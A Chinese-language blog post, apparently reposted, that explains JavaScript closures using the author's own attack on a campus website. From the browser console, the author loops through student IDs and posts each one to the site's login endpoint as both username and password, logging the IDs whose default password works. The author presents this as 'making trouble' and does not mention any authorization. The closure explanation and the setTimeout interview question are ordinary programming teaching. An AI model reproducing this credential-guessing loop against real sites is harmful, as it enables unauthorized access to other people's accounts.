[js]利用閉包向post回調函數傳參數

  最近在閒逛校園XX站的時候,打算搞個破壞,試試有多少人仍是用初始密碼登錄。比較懶,因此直接打開控制檯來寫。php

  因此問題能夠描述爲:面試


      向後端不斷的post數據,id從1~5000自增,後端會根據狀況來返回值res,須要把res=100的id輸出。
  後端



  最簡單的想法是:for循環內部調用post數據
    閉包

//錯誤示範 一
for(var i = 92000;i<92500;i++){
    //直接借用一下網站內引用的jq
    $.post("login.php", { ts:"login",username: i, password: i},function(data){
        if(data=="100"){
            console.log(i);
        }
    });
}

  可是,運行結果是這樣的:異步

  

  post函數時異步的進行請求,拿到請求以後纔會執行回調函數。for循環執行速度要快於post函數的執行速度。當執行post以後,for循環不會等待post拿到res並執行回調,而是繼續遍歷,for循環幾百幾千次的速度都快於post。因此當第一個post請求去執行其回調時,循環已經結束,i=92500。函數

  這和一道很經典的筆試題很像:
  post

for(var i = 0;i<10;i++){
    setTimeout(function(){
        console.log(i);
    },1000);
}
//輸出結果爲10個 10

  

  解決辦法:利用閉包網站

  

//利用閉包和返回函數實現
for(var i=92000;i<92500;i++){
    $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){
            return function(data){
                if(data == "100"){
                    console.log(i)
                }
            }
        })(i);
    );
}

  運行結果:spa

  

  相關解釋:code

    經過把回調寫成匿名函數閉包,將i變量保存而且當即調用函數,可是爲了獲取到返回的data數據,因此在閉包內部return function(data),用來做爲真正的回調函數接受返回參數res-data

    當執行完for循環以後,console.log()首先能拿到正常返回數據data的值,由於js裏函數訪問參數時訪問的做用域不是當前做用域,而是函數聲明環境下的做用域,因此就能夠直接訪問到每一個res=100對應的循環變量i。

  因此上面那個面試題的一種解法就是:

  

for(var i = 0;i<10;i++){
  (function(i){setTimeout(function(){
    console.log(i);
  },1000)})(i);
}

  

  對函數的一些理解:

  1.函數能夠做爲參數傳入,參與運算。

  2.函數能夠保存內部數據的狀態,常見經過構造函數內部var變量實現類的私有成員

  3.還沒想好怎麼說,之後再補

相關文章
相關標籤/搜索